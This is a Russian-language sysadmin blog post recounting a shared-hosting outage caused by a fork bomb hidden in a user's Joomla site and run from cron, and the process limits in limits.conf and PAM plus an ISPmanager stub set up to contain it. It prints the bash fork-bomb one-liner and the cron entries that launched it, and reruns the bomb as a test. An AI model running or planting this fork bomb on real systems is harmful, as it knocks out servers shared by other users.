среда, 10 декабря 2014 г.

fork-бомбы и ISPmanager

На шаред хостинге пользователем была запущена fork-бомба. Скрывалась она за обычным сайтом на Joomla.
Дело было так.
Упал сервер, ни по http, ни по ssh он не отвечал, только ping шел. Мне удалось ловить микромоменты, чтобы вывести список процессов. Последнее что успела засечь моя сессия по ssh примерно такое:
user_11   1088  0.0  0.0      0     0 ?        Z    22:27   0:00 /bin/bash /var/www/user_11/data/www/site.ru/cli/submiss
user_11   1089  0.0  0.0      0     0 ?        Z    22:27   0:00 [bash] <defunct>
и таких процессов было очень много.
На любые попытки что либо сделать с сервером, шел ответ:
bash: fork: Ресурс временно недоступен


Нужно что-то делать.
Связался с ДЦ. Перезагрузили сервер, то же самое.
Отключили сервер. Получил доступ к livecd с Debian по kvm.
Загрузился в livecd, смонтировал корневой каталог жесткого диска:
$ sudo mount /dev/cciss/c0d0p1 /mnt
Посмотреть список всех разделов можно с помощью fdisk:
$ sudo fdisk -l
Далее я решил посмотреть содержимое скрипта, который я увидел в ps:
$ sudo cat /var/www/user_11/data/www/site.ru/cli/submiss/submiss
#/bin/bash
:(){ :|: & };:
Самая что ни на есть fork-бомба.
Помимо этого файла, в этом же каталоге были php-скрипты:
$ sudo ls -1 /var/www/user_11/data/www/site.ru/cli/
deletefiles.php
finder_indexer.php
garbagecron.php
index.html
submiss
update_cron.php
Очевидно что скрипт запускался по крону, поэтому конфиг крона я тоже посмотрел:
$ sudo cat /mnt/var/spool/cron/crontabs/user_11
@reboot /bin/bash /var/www/user_11/data/www/site.ru/cli/submiss
* * * * * /bin/bash /var/www/user_11/data/www/site.ru/cli/submiss
Разобравшись с этим я удалил файлы пользователя:
$ sudo rm -rf /mnt/var/www/user_11/data/www/site.ru/
и файл крона:
$ sudo rm /mnt/var/spool/cron/crontabs/user_11
Собственно это все что касается устранения проблемы.
Ну конечно отмонтировать раздел и отключить сервер:
$ sudo umount /mnt
$ sudo shutdown -h now

С проблемой я разобрался и стал думать, как такое предотвратить. В этом мне помогут лимиты. А именно лимит на создание процессов пользователем.
На хостинге используется панель ISPmanager 4 и Debian 7.
Пользователи ISPmanager входят в группу mgrsecure, поэтому лимиты прописываем для этой группы:
# vim /etc/security/limits.conf
@mgrsecure       soft    nproc          20
@mgrsecure       hard    nproc          25
Настройки limits.conf сохраняются после перезагрузки.
В limits.conf я прописал, что максимум 20 процессов может создавать пользователь, состоящий в группе mgrsecure.
Пусть пользователь user_1 состоит в группе mgrsecure.
Проверяем, работают ли лимиты для shell (юзеру user_1 должен быть разрешен доступ к shell в панели ISPmanager):
# su user_1
$ ulimit -a | grep proc
max user processes              (-u) 193229

У меня в Debian не работает, а в CentOS работает.
По умолчанию в Debian 7 pam.d/common-session не подключен модуль pam_limits.
Его надо подключить:
# vim /etc/pam.d/common-session
session required pam_limits.so

После этого снова можно проверить лимиты:
# su user_1
$ ulimit -a | grep proc
max user processes              (-u) 20

Лимиты работают, можно идти дальше.
Дальше, cronrun ISPmanager'а игнорирует limits.conf.
Решение такое, нужно отключить принудительный запуск заданий в ISPmanager (зеленый треугольник):
# mv /usr/local/ispmgr/cgi/cronrun /usr/local/ispmgr/cgi/cronrun.old
# vim /usr/local/ispmgr/cgi/cronrun
#!/usr/bin/perl
$out = 'Принудительный запуск заданий недоступен, добавляйте задание и ждите выполнения!';
print "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n$out\n";

(В ISPmanager 5 файл называется /usr/local/ispmgr/cgi/run)
Вместо него будет стоять заглушка, говорящая о том, что вручную задачу запускать нельзя, лучше дождаться работы крона.

Выставляем права новому файлу:
# chmod 4555 /usr/local/ispmgr/cgi/cronrun

Проверяем:
В панели создаем файл paneltest с таким содержимым:
#!/bin/bash
ulimit -a | grep proc > ~/www/test.ru/result
И добавляем его в крон.
Ждем 2 минуты, проверяем.
Работает:
# cat /var/www/user_1/data/www/test.ru/result
max user processes              (-u) 20

Проверяем работу fork-бомбы.
Меняем содержимое файла paneltest на:
#!/bin/bash
:(){ :|: & };:
И ждем как отработает крон.
Через 2 минуты проверяем:
# ps aux | grep user_1
22
Видим, что limits работают.

Для того, чтобы завершить процессы пользователя user_1, можно прописать:
# pkill -u user_1

Эта инструкция не работает для перловых и питоньих скриптов. Единственное решение которое я нашел -- отключить бит исполнения для perl и python:
# chmod 754 /usr/bin/perl
# chmod 774 /usr/bin/python2.6
# chmod 774 /usr/bin/python2.7

Комментариев нет: